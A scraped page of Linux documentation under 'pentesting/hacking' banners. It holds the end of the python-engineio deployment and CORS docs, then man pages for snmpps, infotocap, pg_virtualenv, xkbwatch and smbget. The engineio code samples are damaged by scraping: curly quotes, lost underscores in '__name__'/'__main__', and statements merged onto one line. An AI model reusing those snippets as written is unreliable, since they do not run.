The sleep() method is a second convenience function that is provided for the benefit of applications working with background tasks of their own:

eio.sleep(2)

Or for asyncio:

await eio.sleep(2)

The single argument passed to the method is the number of seconds to sleep for.

Debugging and Troubleshooting

To help you debug issues, the server can be configured to output logs to the terminal:

import engineio

# standard Python
eio = engineio.Server(logger=True)

# asyncio
eio = engineio.AsyncServer(logger=True)

The logger argument can be set to True to output logs to stderr, or to an object compatible with Python’s logging package where the logs should be emitted to. A value of False disables logging.

Logging can help identify the cause of connection problems, 400 responses, bad performance and other issues.

Deployment Strategies

The following sections describe a variety of deployment strategies for Engine.IO servers.

aiohttp

aiohttp provides a framework with support for HTTP and WebSocket, based on asyncio.

Instances of class engineio.AsyncServer will automatically use aiohttp for asynchronous operations if the library is installed. To request its use explicitly, the async_mode option can be given in the constructor:

eio = engineio.AsyncServer(async_mode=‘aiohttp’)

A server configured for aiohttp must be attached to an existing application:

app = web.Application() eio.attach(app)

The aiohttp application can define regular routes that will coexist with the Engine.IO server. A typical pattern is to add routes that serve a client application and any associated static files.

The aiohttp application is then executed in the usual manner:

if name == ‘main’: web.run_app(app)

Tornado

Tornado is a web framework with support for HTTP and WebSocket. Only Tornado version 5 and newer are supported, thanks to its tight integration with asyncio.

Instances of class engineio.AsyncServer will automatically use tornado for asynchronous operations if the library is installed. To request its use explicitly, the async_mode option can be given in the constructor:

eio = engineio.AsyncServer(async_mode=‘tornado’)

A server configured for tornado must include a request handler for Engine.IO:

app = tornado.web.Application( [ (r"/engine.io/", engineio.get_tornado_handler(eio)), ], # … other application options )

The tornado application can define other routes that will coexist with the Engine.IO server. A typical pattern is to add routes that serve a client application and any associated static files.

The tornado application is then executed in the usual manner:

app.listen(port) tornado.ioloop.IOLoop.current().start()

Sanic

Sanic is a very efficient asynchronous web server for Python.

Instances of class engineio.AsyncServer will automatically use Sanic for asynchronous operations if the framework is installed. To request its use explicitly, the async_mode option can be given in the constructor:

eio = engineio.AsyncServer(async_mode=‘sanic’)

A server configured for Sanic must be attached to an existing application:

app = Sanic() eio.attach(app)

The Sanic application can define regular routes that will coexist with the Engine.IO server. A typical pattern is to add routes that serve a client application and any associated static files to this application.

The Sanic application is then executed in the usual manner:

if name == ‘main’: app.run()

It has been reported that the CORS support provided by the Sanic extension sanic-cors is incompatible with this package’s own support for this protocol. To disable CORS support in this package and let Sanic take full control, initialize the server as follows:

eio = engineio.AsyncServer(async_mode=‘sanic’, cors_allowed_origins=[])

On the Sanic side you will need to enable the CORS_SUPPORTS_CREDENTIALS setting in addition to any other configuration that you use:

app.config[‘CORS_SUPPORTS_CREDENTIALS’] = True

Uvicorn, Daphne, and other ASGI servers

The engineio.ASGIApp class is an ASGI compatible application that can forward Engine.IO traffic to an engineio.AsyncServer instance:

eio = engineio.AsyncServer(async_mode=‘asgi’) app = engineio.ASGIApp(eio)

The application can then be deployed with any ASGI compatible web server.

Eventlet

Eventlet is a high performance concurrent networking library for Python 2 and 3 that uses coroutines, enabling code to be written in the same style used with the blocking standard library functions. An Engine.IO server deployed with eventlet has access to the long-polling and WebSocket transports.

Instances of class engineio.Server will automatically use eventlet for asynchronous operations if the library is installed. To request its use explicitly, the async_mode option can be given in the constructor:

eio = engineio.Server(async_mode=‘eventlet’)

A server configured for eventlet is deployed as a regular WSGI application using the provided engineio.WSGIApp:

app = engineio.WSGIApp(eio) import eventlet eventlet.wsgi.server(eventlet.listen((’’, 8000)), app)

Eventlet with Gunicorn

An alternative to running the eventlet WSGI server as above is to use gunicorn, a fully featured pure Python web server. The command to launch the application under gunicorn is shown below:

$ gunicorn -k eventlet -w 1 module:app

Due to limitations in its load balancing algorithm, gunicorn can only be used with one worker process, so the -w 1 option is required. Note that a single eventlet worker can handle a large number of concurrent clients.

Another limitation when using gunicorn is that the WebSocket transport is not available, because this transport it requires extensions to the WSGI standard.

Note: Eventlet provides a monkey_patch() function that replaces all the blocking functions in the standard library with equivalent asynchronous versions. While python-engineio does not require monkey patching, other libraries such as database drivers are likely to require it.

Gevent

Gevent is another asynchronous framework based on coroutines, very similar to eventlet. An Engine.IO server deployed with gevent has access to the long-polling transport. If project gevent-websocket is installed, the WebSocket transport is also available. Note that when using the uWSGI server, the native WebSocket implementation of uWSGI can be used instead of gevent-websocket (see next section for details on this).

Instances of class engineio.Server will automatically use gevent for asynchronous operations if the library is installed and eventlet is not installed. To request gevent to be selected explicitly, the async_mode option can be given in the constructor:

gevent alone or with gevent-websocket

eio = engineio.Server(async_mode='gevent')

A server configured for gevent is deployed as a regular WSGI application using the provided engineio.WSGIApp:

from gevent import pywsgi app = engineio.WSGIApp(eio) pywsgi.WSGIServer((’’, 8000), app).serve_forever()

If the WebSocket transport is installed, then the server must be started as follows:

from gevent import pywsgi from geventwebsocket.handler import WebSocketHandler app = engineio.WSGIApp(eio) pywsgi.WSGIServer((’’, 8000), app, handler_class=WebSocketHandler).serve_forever()

Gevent with Gunicorn

An alternative to running the gevent WSGI server as above is to use gunicorn, a fully featured pure Python web server. The command to launch the application under gunicorn is shown below:

$ gunicorn -k gevent -w 1 module:app

Or to include WebSocket:

$ gunicorn -k geventwebsocket.gunicorn.workers.GeventWebSocketWorker -w 1 module: app

Same as with eventlet, due to limitations in its load balancing algorithm, gunicorn can only be used with one worker process, so the -w 1 option is required. Note that a single gevent worker can handle a large number of concurrent clients.

Note: Gevent provides a monkey_patch() function that replaces all the blocking functions in the standard library with equivalent asynchronous versions. While python-engineio does not require monkey patching, other libraries such as database drivers are likely to require it.

uWSGI

When using the uWSGI server in combination with gevent, the Engine.IO server can take advantage of uWSGI’s native WebSocket support.

Instances of class engineio.Server will automatically use this option for asynchronous operations if both gevent and uWSGI are installed and eventlet is not installed. To request this asynchoronous mode explicitly, the async_mode option can be given in the constructor:

gevent with uWSGI

eio = engineio.Server(async_mode='gevent_uwsgi')

A complete explanation of the configuration and usage of the uWSGI server is beyond the scope of this documentation. The uWSGI server is a fairly complex package that provides a large and comprehensive set of options. It must be compiled with WebSocket and SSL support for the WebSocket transport to be available. As way of an introduction, the following command starts a uWSGI server for the latency.py example on port 5000:

$ uwsgi –http :5000 –gevent 1000 –http-websockets –master –wsgi-file latency.py –callable app

Standard Threads

While not comparable to eventlet and gevent in terms of performance, the Engine.IO server can also be configured to work with multi-threaded web servers that use standard Python threads. This is an ideal setup to use with development servers such as Werkzeug.

Instances of class engineio.Server will automatically use the threading mode if neither eventlet nor gevent are not installed. To request the threading mode explicitly, the async_mode option can be given in the constructor:

eio = engineio.Server(async_mode=‘threading’)

A server configured for threading is deployed as a regular web application, using any WSGI complaint multi-threaded server. The example below deploys an Engine.IO application combined with a Flask web application, using Flask’s development web server based on Werkzeug:

eio = engineio.Server(async_mode=‘threading’) app = Flask(name) app.wsgi_app = engineio.WSGIApp(eio, app.wsgi_app)

# ... Engine.IO and Flask handler functions ...

if __name__ == '__main__':
    app.run()

The example that follows shows how to start an Engine.IO application using Gunicorn’s threaded worker class:

$ gunicorn -w 1 –threads 100 module:app

With the above configuration the server will be able to handle up to 100 concurrent clients.

When using standard threads, WebSocket is supported through the simple-websocket package, which must be installed separately. This package provides a multi-threaded WebSocket server that is compatible with Werkzeug and Gunicorn’s threaded worker. Other multi-threaded web servers are not supported and will not enable the WebSocket transport.

Scalability Notes

Engine.IO is a stateful protocol, which makes horizontal scaling more difficult. To deploy a cluster of Engine.IO processes hosted on one or multiple servers the following conditions must be met:

  • Each Engine.IO server process must be able to handle multiple requests concurrently. This is required because long-polling clients send two requests in parallel. Worker processes that can only handle one request at a time are not supported.

  • The load balancer must be configured to always forward requests from a client to the same process. Load balancers call this sticky sessions, or session affinity.

Cross-Origin Controls

For security reasons, this server enforces a same-origin policy by default. In practical terms, this means the following:

  • If an incoming HTTP or WebSocket request includes the Origin header, this header must match the scheme and host of the connection URL. In case of a mismatch, a 400 status code response is returned and the connection is rejected.

  • No restrictions are imposed on incoming requests that do not include the Origin header.

If necessary, the cors_allowed_origins option can be used to allow other origins. This argument can be set to a string to set a single allowed origin, or to a list to allow multiple origins. A special value of ’*’ can be used to instruct the server to allow all origins, but this should be done with care, as this could make the server vulnerable to Cross-Site Request Forgery (CSRF) attacks.

API REFERENCE

Client class

AsyncClient class

Server class

AsyncServer class

WSGIApp class

ASGIApp class

Middleware class (deprecated)

  • Index

  • Module Index

  • Search Page

AUTHOR

Miguel Grinberg

COPYRIGHT

2018, Miguel Grinberg

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

77 - Linux cli command snmpps

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpps and provides detailed information about the command snmpps, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpps.

NAME 🖥️ snmpps 🖥️

display process table on a network entity via SNMP

SYNOPSIS

snmpps [COMMON OPTIONS] [-Cp] [-Ca] [-C n | m | t ] AGENT

snmptop [COMMON OPTIONS] [-Cp] [-Ca] [-C n | m | t ] AGENT

DESCRIPTION

snmpps is a networked version of a simple ps command. It checks the processes on the remote machine by examining the HOST-RESOURCES-MIB’s hrSWRunTable and the hrSWRunPerfTable.

AGENT identifies a target SNMP agent, which is instrumented to monitor the given objects. At its simplest, the AGENT specification will consist of a hostname or an IPv4 address. In this situation, the command will attempt communication with the agent, using UDP/IPv4 to port 161 of the given target host. See the snmpcmd(1) manual page for a full list of the possible formats for AGENT.

snmptop emulates the top command using SNMP. While running, the keyboard inputs of ‘c’, ’n’, ’m’, ’t’ switches sorting between cpu, pid, memory, or total runtime. Typing ‘i’ toggles hiding idle processes, while ‘o’ toggles hiding Os processes. Typing ‘a’ toggles display of hrSWRunParameters, ‘p’ toggles display of hrSWRunPath.

OPTIONS

COMMON OPTIONS
Please see snmpcmd(1) for a list of possible values for COMMON OPTIONS as well as their descriptions.

-Cp
Show hrSWRunPath in addition to hrSWRunName

-Ca
Show hrSWRunParameters in addition to hrSWRunName

-Ct
Sort display by total CPU usage

-Cm
Sort display by memory usage

-Cn
Sort display numeric by PID

EXAMPLES

% snmpps -v 2c -c public localhost

Index Type Status     Memory         CPU Command
    1 Appl   Wait     1.00MB        1.29 init 
  554 Appl   Wait   364.00kB        0.03 udevd 
 1813 Appl    Run     6.73MB        0.41 snmpd 
 1833 Appl   Wait     1.27MB        3.49 rsyslogd 
 1871 Appl   Wait   496.00kB       47.92 irqbalance 
 1890 Appl   Wait   648.00kB        0.62 rpcbind 
 2121 Appl   Wait     1.89MB        0.00 bash 
 2150 Appl   Wait     3.49MB        0.16 vim 
 2185 Appl   Wait   556.00kB        0.00 sleep 

SEE ALSO

snmpcmd(1), snmp.conf(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

78 - Linux cli command infotocap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command infotocap and provides detailed information about the command infotocap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the infotocap.

NAME 🖥️ infotocap 🖥️

convert a terminfo description into a termcap description

SYNOPSIS

infotocap [tic-option] file . . .

infotocap -V

DESCRIPTION

infotocap translates terminal descriptions. It looks in each given text file for terminfo entries and, For each one found, it writes an analogous termcap description to the standard output stream. terminfo use capabilities translate to termcap tc capabilities. Because termcap is a less expressive format than terminfo, some capabilities cannot be translated.

This utility is implemented as a link to tic(1), with the latter’s -C option implied. You can use other tic options such as -1, -f, -v, -w, and -x. The -V option reports the version of ncurses associated with this program and exits with a successful status.

FILES

/etc/terminfo
compiled terminal description database

PORTABILITY

None of X/Open Curses, Issue 7 (2009), SVr4, or NetBSD document this application.

AUTHORS

Eric S. Raymond <[email protected]> and
Thomas E. Dickey <[email protected]>

SEE ALSO

infocmp(1), tic(1), ncurses(3NCURSES), terminfo(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

79 - Linux cli command pg_virtualenv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_virtualenv and provides detailed information about the command pg_virtualenv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_virtualenv.

NAME 🖥️ pg_virtualenv 🖥️

Create a throw-away PostgreSQL environment for running regression tests

SYNOPSIS

pg_virtualenv [OPTIONS] [-vversion …’] [command]

DESCRIPTION

pg_virtualenv creates a virtual PostgreSQL server environment, and sets environment variables such that command can access the PostgreSQL database server(s). The servers are destroyed when command exits.

The environment variables PGHOST, PGDATABASE, PGUSER, and PGPASSWORD will be set. Per default, a single new cluster is created, using the newest PostgreSQL server version installed. The cluster will use the first available port number starting from 5432, and PGPORT will be set. PGVERSION is set the the PostgreSQL major version number.

When clusters for more than one versions are created, they will differ in the port number used, and PGPORT and PGVERSION are not set. The clusters are named version/regress. To access a cluster, set PGCLUSTER=version/regress. For ease of access, the clusters are also registered in /etc/postgresql-common/pg_service.conf, with the version number as cluster name. Clusters can be accessed by passing the connection string “**service=**version”, e.g. psql service=9.2.

When invoked as root, the clusters are created in /etc/postgresql/ as usual; for other users, PG_CLUSTER_CONF_ROOT and PGSYSCONFDIR are set to a temporary directory where all files belonging to the clusters are created.

If command fails, the tail of the PostgreSQL server log is shown. Additionally, if gdb is available, the backtrace from any PostgreSQL coredump is show.

OPTIONS

-a
Use all PostgreSQL server versions installed.

-v version …
Use these versions (space-separated list).

-c pg_createcluster options
Extra options to pass to pg_createcluster.

-i initdb options
Extra initdb options to pass to pg_createcluster.

-o guc=value
Configuration option to set in the postgresql.conf file, passed to pg_createcluster.

-p package
Set extension_destdir and dynamic_library_path in cluster to enable loading and testing extensions at build-time from debian/package/. This is a Debian-specific PostgreSQL patch.

-s
Launch a shell inside the virtual environment when command fails.

-t
Install clusters in a temporary directory, even when running as root.

-h
Show program help.

EXAMPLE

# pg_virtualenv make check

NOTES

When run with fakeroot (1), pg_virtualenv will fall back to the non-root mode of operation. Running “fakeroot pg_virtualenv” as root will fail, though.

ENVIRONMENT

PG_VIRTUALENV_NEWPID=yes
When non-empty, pg_virtualenv will re-exec itself using newpid (1).

PG_VIRTUALENV_UNSHARE=flags
When non-empty, pg_virtualenv will re-exec itself using unshare (1) using these flags.

PGPORT=n
When set, the value is used for the (single) cluster created.

COMPATIBILITY

PGVERSION is set in postgresql-common (>= 219~).

SEE ALSO

initdb (1), pg_createcluster (1).

AUTHOR

Christoph Berg <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

80 - Linux cli command xkbwatch

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xkbwatch and provides detailed information about the command xkbwatch, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xkbwatch.

NAME 🖥️ xkbwatch 🖥️

XKB extension user utility

DESCRIPTION

This program reports changes in the fundamental components of the XKB keyboard state plus the effective compatibility state.

OPTIONS

Xkbwatch accepts all of the standard X Toolkit command line options along with the additional options listed below:

-version
This option indicates that the program version should be printed, after which the program exits.

SEE ALSO

X(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

81 - Linux cli command smbget

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command smbget and provides detailed information about the command smbget, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the smbget.

NAME 🖥️ smbget 🖥️

wget-like utility for download files over SMB

SYNOPSIS

smbget [-a, –guest] [-r, –resume] [–recursive] [-D, –dots] [-o, –outputfile] [-q, –quiet] [-v, –verbose] [-b, –blocksize] [-O, –stdout] [-u, –update] [-e, –encrypt] [–limit-rate=INT] [-?|–help] [–usage] [-d|–debuglevel=DEBUGLEVEL] [–debug-stdout] [-s|–configfile=CONFIGFILE] [–option=name=value] [-l|–log-basename=LOGFILEBASE] [–leak-report] [–leak-report-full] [-R|–name-resolve=NAME-RESOLVE-ORDER] [-O|–socket-options=SOCKETOPTIONS] [-m|–max-protocol=MAXPROTOCOL] [-n|–netbiosname=NETBIOSNAME] [–netbios-scope=SCOPE] [-W|–workgroup=WORKGROUP] [–realm=REALM] [-U|–user=[DOMAIN/]USERNAME%[PASSWORD]] [-N|–no-pass] [–password=STRING] [–pw-nt-hash] [-A|–authentication-file=FILE] [-P|–machine-pass] [–simple-bind-dn=DN] [–use-kerberos=desired|required|off] [–use-krb5-ccache=CCACHE] [–use-winbind-ccache] [–client-protection=sign|encrypt|off] [-V|–version] {smb://host/share/path/to/file} [smb://url2/] […]

DESCRIPTION

This tool is part of the samba(7) suite.

smbget is a simple utility with wget-like semantics, that can download files from SMB servers. You can specify the files you would like to download on the command-line.

The files should be in the smb-URL standard, e.g. use smb://host/share/file for the UNC path \HOST\SHARE\file.

OPTIONS

-a, –guest

Work as user guest

-r, –resume

Automatically resume aborted files

–recursive

Recursively download files

-D, –dots

Show dots as progress indication

-o, –outputfile

Write the file that is being downloaded to the specified file. Can not be used together with -R.

–stdout

Write the file that is being downloaded to standard output.

-q, –quiet

Be quiet

-v, –verbose

Be verbose

-b, –blocksize

Number of bytes to download in a block. Defaults to 64000.

-u, –update

Download only when remote file is newer than local file or local file is missing.

-e, –encrypt

Enable SMB encryption.

–limit-rate=INT

Limit download rate by this many KB/s.

-?|–help

Print a summary of command line options.

–usage

Display brief usage message.

-d|–debuglevel=DEBUGLEVEL

level is an integer from 0 to 10. The default value if this parameter is not specified is 1 for client applications.

The higher this value, the more detail will be logged to the log files about the activities of the server. At level 0, only critical errors and serious warnings will be logged. Level 1 is a reasonable level for day-to-day running - it generates a small amount of information about operations carried out.

Levels above 1 will generate considerable amounts of log data, and should only be used when investigating a problem. Levels above 3 are designed for use only by developers and generate HUGE amounts of log data, most of which is extremely cryptic.

Note that specifying this parameter here will override the log level parameter in the /etc/samba/smb.conf file.

–debug-stdout

This will redirect debug output to STDOUT. By default all clients are logging to STDERR.

–configfile=<configuration file>

The file specified contains the configuration details required by the client. The information in this file can be general for client and server or only provide client specific like options such as client smb encrypt. See /etc/samba/smb.conf for more information. The default configuration file name is determined at compile time.

–option=<name>=<value>

Set the smb.conf(5) option “<name>” to value “<value>” from the command line. This overrides compiled-in defaults and options read from the configuration file. If a name or a value includes a space, wrap whole –option=name=value into quotes.

-l|–log-basename=logdirectory

Base directory name for log/debug files. The extension ".progname" will be appended (e.g. log.smbclient, log.smbd, etc…). The log file is never removed by the client.

–leak-report

Enable talloc leak reporting on exit.

–leak-report-full

Enable full talloc leak reporting on exit.

-V|–version

Prints the program version number.

-R|–name-resolve=NAME-RESOLVE-ORDER

This option is used to determine what naming services and in what order to resolve host names to IP addresses. The option takes a space-separated string of different name resolution options. The best is to wrap the whole –name-resolve=NAME-RESOLVE-ORDER into quotes.

The options are: “lmhosts”, “host”, “wins” and “bcast”. They cause names to be resolved as follows:

·

lmhosts: Lookup an IP address in the Samba lmhosts file. If the line in lmhosts has no name type attached to the NetBIOS name (see the lmhosts(5) for details) then any name type matches for lookup.

·

host: Do a standard host name to IP address resolution, using the system /etc/hosts, NIS, or DNS lookups. This method of name resolution is operating system dependent, for instance on IRIX or Solaris this may be controlled by the /etc/nsswitch.conf file). Note that this method is only used if the NetBIOS name type being queried is the 0x20 (server) name type, otherwise it is ignored.

·

wins: Query a name with the IP address listed in the wins server parameter. If no WINS server has been specified this method will be ignored.

·

bcast: Do a broadcast on each of the known local interfaces listed in the interfaces parameter. This is the least reliable of the name resolution methods as it depends on the target host being on a locally connected subnet.

If this parameter is not set then the name resolve order defined in the /etc/samba/smb.conf file parameter (name resolve order) will be used.

The default order is lmhosts, host, wins, bcast. Without this parameter or any entry in the name resolve order parameter of the /etc/samba/smb.conf file, the name resolution methods will be attempted in this order.

-O|–socket-options=SOCKETOPTIONS

TCP socket options to set on the client socket. See the socket options parameter in the /etc/samba/smb.conf manual page for the list of valid options.

-m|–max-protocol=MAXPROTOCOL

The value of the parameter (a string) is the highest protocol level that will be supported by the client.

Note that specifying this parameter here will override the client max protocol parameter in the /etc/samba/smb.conf file.

-n|–netbiosname=NETBIOSNAME

This option allows you to override the NetBIOS name that Samba uses for itself. This is identical to setting the netbios name parameter in the /etc/samba/smb.conf file. However, a command line setting will take precedence over settings in /etc/samba/smb.conf.

–netbios-scope=SCOPE

This specifies a NetBIOS scope that nmblookup will use to communicate with when generating NetBIOS names. For details on the use of NetBIOS scopes, see rfc1001.txt and rfc1002.txt. NetBIOS scopes are very rarely used, only set this parameter if you are the system administrator in charge of all the NetBIOS systems you communicate with.

-W|–workgroup=WORKGROUP

Set the SMB domain of the username. This overrides the default domain which is the domain defined in smb.conf. If the domain specified is the same as the servers NetBIOS name, it causes the client to log on using the servers local SAM (as opposed to the Domain SAM).

Note that specifying this parameter here will override the workgroup parameter in the /etc/samba/smb.conf file.

-r|–realm=REALM

Set the realm for the domain.

Note that specifying this parameter here will override the realm parameter in the /etc/samba/smb.conf file.

-U|–user=[DOMAIN\USERNAME[%PASSWORD]

Sets the SMB username or username and password.

If %PASSWORD is not specified, the user will be prompted. The client will first check the USER environment variable (which is also permitted to also contain the password separated by a %), then the LOGNAME variable (which is not permitted to contain a password) and if either exists, the value is used. If these environmental variables are not found, the username found in a Kerberos Credentials cache may be used.

A third option is to use a credentials file which contains the plaintext of the username and password. This option is mainly provided for scripts where the admin does not wish to pass the credentials on the command line or via environment variables. If this method is used, make certain that the permissions on the file restrict access from unwanted users. See the -A for more details.

Be cautious about including passwords in scripts or passing user-supplied values onto the command line. For security it is better to let the Samba client tool ask for the password if needed, or obtain the password once with kinit.

While Samba will attempt to scrub the password from the process title (as seen in ps), this is after startup and so is subject to a race.

-N|–no-pass

If specified, this parameter suppresses the normal password prompt from the client to the user. This is useful when accessing a service that does not require a password.

Unless a password is specified on the command line or this parameter is specified, the client will request a password.

If a password is specified on the command line and this option is also defined the password on the command line will be silently ignored and no password will be used.

–password

Specify the password on the commandline.

Be cautious about including passwords in scripts or passing user-supplied values onto the command line. For security it is better to let the Samba client tool ask for the password if needed, or obtain the password once with kinit.

If –password is not specified, the tool will check the PASSWD environment variable, followed by PASSWD_FD which is expected to contain an open file descriptor (FD) number.

Finally it will check PASSWD_FILE (containing a file path to be opened). The file should only contain the password. Make certain that the permissions on the file restrict access from unwanted users!

While Samba will attempt to scrub the password from the process title (as seen in ps), this is after startup and so is subject to a race.

–pw-nt-hash

The supplied password is the NT hash.

-A|–authentication-file=filename

This option allows you to specify a file from which to read the username and password used in the connection. The format of the file is:

			username = <value>
				password = <value>
				domain   = <value>

Make certain that the permissions on the file restrict access from unwanted users!

-P|–machine-pass

Use stored machine account password.

–simple-bind-dn=DN

DN to use for a simple bind.

–use-kerberos=desired|required|off

This parameter determines whether Samba client tools will try to authenticate using Kerberos. For Kerberos authentication you need to use dns names instead of IP addresses when connecting to a service.

Note that specifying this parameter here will override the client use kerberos parameter in the /etc/samba/smb.conf file.

–use-krb5-ccache=CCACHE

Specifies the credential cache location for Kerberos authentication.

This will set –use-kerberos=required too.

–use-winbind-ccache

Try to use the credential cache by winbind.

–client-protection=sign|encrypt|off

Sets the connection protection the client tool should use.

Note that specifying this parameter here will override the client protection parameter in the /etc/samba/smb.conf file.

In case you need more fine grained control you can use: –option=clientsmbencrypt=OPTION, –option=clientipcsigning=OPTION, –option=clientsigning=OPTION.

SMB URLS

SMB URLs should be specified in the following format:

smb://[[[domain;]user[:password@]]server[/share[/path[/file]]]]

smb:// means all the workgroups

smb://name/ means, if name is a workgroup, all the servers in this workgroup, or if name is a server, all the shares on this server.

EXAMPLES

Recursively download src directory

smbget --recursive smb://rhonwyn/jelmer/src
# Download FreeBSD ISO and enable resuming
smbget --resume smb://rhonwyn/isos/FreeBSD5.1.iso
# Recursively download all ISOs
smbget --recursive --resume smb://rhonwyn/isos
# Backup my data on rhonwyn
smbget --recursive -resume smb://rhonwyn/

BUGS

Permission denied is returned in some cases where the cause of the error is unknown (such as an illegally formatted smb:// url or trying to get a directory without –resursive turned on).

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

The smbget manpage was written by Jelmer Vernooij.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
